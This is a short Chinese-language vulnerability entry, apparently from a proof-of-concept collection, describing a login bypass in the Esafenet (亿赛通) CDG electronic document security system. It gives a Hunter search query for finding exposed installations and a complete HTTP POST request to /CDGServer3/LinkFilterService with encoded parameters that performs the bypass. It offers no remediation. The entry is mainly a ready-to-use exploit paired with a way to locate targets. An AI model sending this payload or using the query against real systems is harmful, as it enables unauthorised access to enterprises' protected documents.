

Y5-47亿赛通-电子文档安全管理系统-PermissionAC

漏洞描述：

亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。亿赛通电子文档安全管理系统LinkFilterService存在登陆绕过漏洞。

影响版本：

亿赛通电子文档安全管理系统

网站图片：



网络测绘：

Hunter 语法：

hunterapp.name="ESAFENET 亿赛通文档安全管理系统"

漏洞复现：

payload:

```
POST /CDGServer3/LinkFilterService HTTP/1.1
Host: XX.XX.XX.XX
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

path=BOFGGPF8FIFPBHFMGKI&userId=GCGHGAGGFAFHFGCFEFPFD&cur=BDNJOADCFBOPECMNBCHMDMDKGCMMLEFFCJCACB
```

效果图:



